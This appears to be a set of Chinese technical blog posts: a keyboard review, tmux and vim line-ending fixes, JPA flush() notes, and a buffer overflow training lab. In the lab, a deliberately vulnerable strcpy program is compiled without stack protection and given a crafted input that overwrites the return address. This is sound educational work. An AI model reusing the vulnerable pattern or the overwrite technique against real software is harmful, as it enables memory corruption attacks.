在高强度地敲了几个礼拜公司台式机的自带键盘后，手指开始抱怨，于是想换一个舒服一点的键盘作 日常使用。

公司配的键盘是普通的联想键盘，有一定长度的键程，敲打时需要手指施压一定的压力；用久了 手指容易疲劳。所以，对新键盘的需求是：

• 键程要短，按键需要的压力要小
• 可以在Windows下工作
• 有Home，End等按键，而不是用辅助键fn+其他键来间接地实现Home，End

很多程序员喜欢机械键盘，但是我怀疑机械键盘的键程和按键压力可能不能满足我的要求。其它非机械 的普通键盘使用效果估计和公司自带的联想键盘差不太多。所以，目标放在了巧克力键盘上。联想有几款 比较便宜的（￥80左右）巧克力键盘，但是它们的fn键被放在了键盘的左下角，很容易在按ctrl 时误按fn键。

最后买的是来自苹果的一把键盘，Apple Keyboard with Numeric Keypad。

它满足上面的所有要求，同时简洁、美观。

Num Lock键

数字小键盘上的clear键就是其它键盘上的Num Lock键。一个不足的地方是clear键没有对应的 指示灯。

insert键

苹果把fn键放在了原本insert键的位置，并移掉了insert键。某些情况下，insert键还是挺 重要的。比如，在Cygwin或者Git Bash里，拷贝的快捷键是shift+insert。

实际上，数字小键盘区的0键在Num Lock（clear）键未打开的情况下就是insert键。所以，可以 用shift+0来达到shift+insert的效果。

Happy & healthy coding!

#include <stdio.h>
#include <string.h>

void call_me() {
    printf("you called me \n");
}

void func1(char *s) {
    char buf[16];
    strcpy(buf, s); // buffer may overflow here
}

int main(int argc, char **argv) {
    func1(argv[1]);
}

实验的环境是Ubuntu 14.04.1，gcc 4.8.2。编译的选项如下，

$ gcc -m32 -fno-stack-protector -g -static poc.cpp -o poc.out

目标是构造一个输入字符串覆盖函数func1的返回地址，使得函数call_me被调用到，比如，

$ ./poc.out some-input-string-to-overflow-buffer

当程序执行到func1的时候，stack大概是这个样子：

| func1's local variable | 低地址方向
| like buf[16]           |
|------------------------|
| main's ebp             | <= 当前的ebp
|------------------------|
| return address         | <= 返回地址，就是func1返回后，main函数应该执行的下一条指令
|------------------------|
| main's stack ...       | 高地址方向

如果把上图中的return address修改成call_me的函数地址就可以让call_me被调用到。

通过nm可以查看call_me的地址（call_me两边的字符是C++ name mangling的副作用）

$ nm poc.out | grep call_me
08048e24 T _Z7call_mev

用gdb的tui模式打开可执行文件，

$ gdb -tui poc.out

(gdb) set disassembly-flavor intel  # 让gdb在显示汇编时使用intel风格
(gdb) ctrl-x 2                      # 在tui模式下同时显示代码和汇编窗口
(gdb) focus asm                     # 焦点设在汇编窗口上，可以用上下箭头滚动窗口
(gdb) b main                        # 进入程序时，先断住
(gdb) run abc                       # 运行可执行文件时传入一个参数“abc”

滚动一下汇编窗口可以找到func1函数的返回地址0x8048e6b，就是call指令的下一条指令的地址，

│0x8048e66 <main(int, char**)+20>        call   0x8048e38 <func1(char*)>
│0x8048e6b <main(int, char**)+25>        mov    eax,0x0 

让程序执行到func1函数里，然后停住。这时，可以检查下stack是不是和上面画的示意图一致。

(gdb) x $ebp+4
0xffffcf9c:     0x08048e6b

$ebp+4（+4，因为可执行程序是编译成32位的）存的就是返回地址，确实是0x8048e6b。

函数func1对应的汇编指令如下，

 │0x8048e38 <func1(char*)>        push   ebp            
 │0x8048e39 <func1(char*)+1>      mov    ebp,esp     
 │0x8048e3b <func1(char*)+3>      sub    esp,0x28        
>│0x8048e3e <func1(char*)+6>      mov    eax,DWORD PTR [ebp+0x8]     
 │0x8048e41 <func1(char*)+9>      mov    DWORD PTR [esp+0x4],eax      
 │0x8048e45 <func1(char*)+13>     lea    eax,[ebp-0x18]             
 │0x8048e48 <func1(char*)+16>     mov    DWORD PTR [esp],eax     
 │0x8048e4b <func1(char*)+19>     call   0x80481e0         
 │0x8048e50 <func1(char*)+24>     leave 

call指令会调用库函数strcpy()进行buffer的拷贝。在leave指令处设一个断点，检查下buffer拷贝的效果。

(gdb) b *0x8048e50        #在leave处break

检查一下局部变量buf[]对应的内存，看看“abc”是否已经被拷贝到buf[]上了。a，b，c对应的ASCII码 为0x61，0x62，0x63。可以通过man ascii快速查看一下ASCII码表，

$ man ascii
   Oct   Dec   Hex   Char                        Oct   Dec   Hex   Char
   ────────────────────────────────────────────────────────────────────────
   000   0     00    NUL '\0'                    100   64    40    @
   001   1     01    SOH (start of heading)      101   65    41    A
   ...
   041   33    21    !                           141   97    61    a
   042   34    22    "                           142   98    62    b
   043   35    23    #                           143   99    63    c

在gdb里检查buf[]对应的内存，

(gdb) x/16bx $ebp-16   ＃'b'，以Byte为单位检查内存， '16'，检查16个Byte
0xffffcf88:     0x01    0x00    0x00    0x00    0xe2    0x95    0x04    0x08
0xffffcf90:     0x02    0x00    0x00    0x00    0x44    0xd0    0xff    0xff

并没有发现“abc”对应的字节。这是因为内存是以8字节对齐的。扩大内存的检查范围就可以看到a，b，c，

(gdb) x/24   # 24 = 8 * 3
0xffffcf80:     0x61    0x62    0x63    0x00    0x50    0xd0    0xff    0xff
0xffffcf88:     0x01    0x00    0x00    0x00    0xe2    0x95    0x04    0x08
0xffffcf90:     0x02    0x00    0x00    0x00    0x44    0xd0    0xff    0xff

所以为了覆盖func1的返回地址，需要24（buf[16]）＋ 4（ebp） ＋ 4（0x08048e24）＝ 32字节。

$ ./poc.out 1234567890123456789012345678$'\x24'$'\x8e'$'\x04'$'\x08'
you called me 
Segmentation fault (core dumped)

通过$'\x24'可以在终端里输入一个非打印字符（详见man bash）。因为实验机器的字节序是Little Endian， 低位存放在内存低地址处，所以通过$'\x24'$'\x8e'$'\x04'$'\x08'来表示0x08048e24。

程序最后出现了Segmentation fault，应该是因为没有为call_me设立正确的返回地址导致的。

另外，快速查看机器字节序（Byte Order）的一个方法，

$ lscpu
Architecture:          x86_64
CPU op-mode(s):        32-bit, 64-bit
Byte Order:            Little Endian    ...

Have Fun😄

最近要做一个buffer overflow的培训，准备环境时发现gdb的TUI(Text User Interface) 模式还是很不错的。效果如下图：

在Google English搜索一下关键词“gdb tui”就能找到详细的文档。

要注意的一点是，最好以下面的方式进入tui模式，

gdb -tui a.out

而不要打开gdb后，再通过Ctrl-x a切换到tui模式。否则在tui模式中可能不能正常使用类似Ctrl-x a 等的快捷键；按下Ctrl-x a可能只能在gdb的命令行显示^xa。

今天在Windows的cygwin下配置tmux的时候遇到了一个“奇怪的”的问题。 tmux在加载下面的.tmux.conf文件时出错 （.tmux.conf是在Windows上用gvim编辑的），

set -g mode-mouse on
setw -g mode-mouse on
setw -g mouse-select-window on
setw -g mouse-select-pane on

tmux报的错误消息如下，

$ tmux source-file ~/.tmux.conf
unknown value: on
unknown value: on
bad value: on
bad value: on

Google了一下发现，这又是Windows和Unix换行符不同产生的问题。

用Notepad++可以方便地（View->Show Symbol->...）把换行符等不可见字符显示出来。比如，

用Notepad++查看.tmux.conf文件后，发现它的换行符是CRLF。而cygwin下的tmux认为自己处于“unix世界”里， 它要求.tmux.conf文件以LF结尾，于是就报错了。

网上有人说可以在vim里用:set list显示不可见字符，如果行末显示是$表示是LF，如果是^M则是CRLF。 但是在Windows的gvim里，打开:set list后不管实际上是LF还是CRLF结尾，都显示为$。

知道了是换行符的原因，解决方法就很简单了。可以在cygwin下用dos2unix命令转换一下换行符，

$ dos2unix -n ~/.tmux.conf ~/.tmux.conf

也可以在vim/gvim里转换换行符，方法如下：

• :set fileformat=unix（或者:set ff=unix），设置文本文件的格式
• :w，写文件

set ff=...只对vim里的单个buffer有效。这意味着不同的buffer可以有不同的值；也意味着不能用这个选项 对vim做全局的设置。

vim提供了另一个选项fileformats（ffs），它是一个全局的配置，可以影响ff。ffs可以是dos，unix等单个值， 也可以是dos,unix，unix,dos之类的组合。当它设置为单个值时，比如unix，打开一个dos文本， 最后写文件时vim会把换行符替换成LF；当它设置为组合值时，vim在读文件发现有行是以LF结尾时就把ff设置成unix； 如果全部行都是CRLF，那么把ff设成dos。（更多细节见:help ffs）

如果希望Windows的gvim在新建文件时默认采用unix风格的换行符，可以在用户目录的_gvimrc文件中这么配置，

set fileformats=unix,dos

当vim/gvim发现ff的值和当前系统“不一致”时，会提醒用户，

总结

在Windows上使用unix/linux工具时，类似的换行符问题总是会时不时出现。避免类似问题的最好方法是，尽量在“一个世界” 里工作。比如，上面的问题就是由于在cygwin（unix世界）里，用tmux去读取一个gvim（windows世界）写的文件引起的。

部分内容搬运自SO上的一个回答。

如果managed entity有改动，那么在transaction提交时，JPA会自动地（待确定）帮你向数据库提交改动（不用显式地调用em.flush()）。 一般来说，调用em.persist()时，entity的改动不会立即写到数据库中，JPA会暂缓执行这些改动对应的SQL语句， 等到transaction提交时再去执行这些SQL语句。这样有利于提高性能，比如JPA可以把不同改动对应的SQL语句放在一次请求里发给数据库。

有时候，用户可能希望立即执行SQL（通常是想得到SQL执行的“副作用”）。比如，用户想立即向数据库里插入一条记录， 以得到一个数据库自动产生的键值（也就是自动生成主键）。em.flush()会立即执行之前缓存的SQL，然后清空缓存。因为em.flush()会涉及到数据库的操作，所以会对 性能产生一点影响。如果transaction提交失败了，flush()时写到数据库的操作也会回滚。

关于上面提到的“自动生成主键”

JPA可以指定entity主键的生成方式。比如，下面的代码指定了entity的主键通过数据库的某个sequence来生成，

@Id
@GeneratedValue(generator = "XYZSeq")
@SequenceGenerator(name = "XYZSeq", sequenceName = "XYZ_SEQ", allocationSize = 1)
private Long id;

如果去google “jpa persist auto generated id”，会发现很多sources都讲id只会在em.flush()调用后才会有值。 但是，上面的代码在EclipseLink + HANA的环境下，调用em.persist()后（调用em.flush()前）就会给id赋值。 调用em.persist()后，在EclipseLink的log里会有如下一条记录，

...--Connection(1849633626)--Thread(Thread[http-bio-8091-exec-8,5,main])--SELECT XYZ_SEQ.NEXTVAL FROM DUMMY

这意味着，EclipseLink在执行persist()时会调用数据库的sequence去生成主键。 JPA的API文档里并没有讲persist()对entity主键的影响。所以，不同的JPA provider对persist()可能会有不同的实现。 当然，生成主键的行为也可能受到GenerationType的影响；比如GenerationType设成GenerationType.IDENTITY时，JPA provider 可能在persist()时就生成主键了。

还有一个使用flush()的场景是，用JPQL查询时只会把数据库里的内容查询出来，所以如果想把内存里的entity的改 动也一起query出来要先flush()一下，把entity的改动刷到数据库里后再查询。（待确定）

在我的环境下，新建一个entity的对象，然后调用persist()，这时是可以在JPQL中query出这个新建的entity对象的（不需要调用一次flush()）。

"select e from SomeEntity e where e.someField = :val"

不知道，对于其它（复杂的）JPQL是不是也是如此（待确定）。

还有个clear()函数，它可以把entity从persistence context里脱离出来；entity的改动不会被写到数据库里。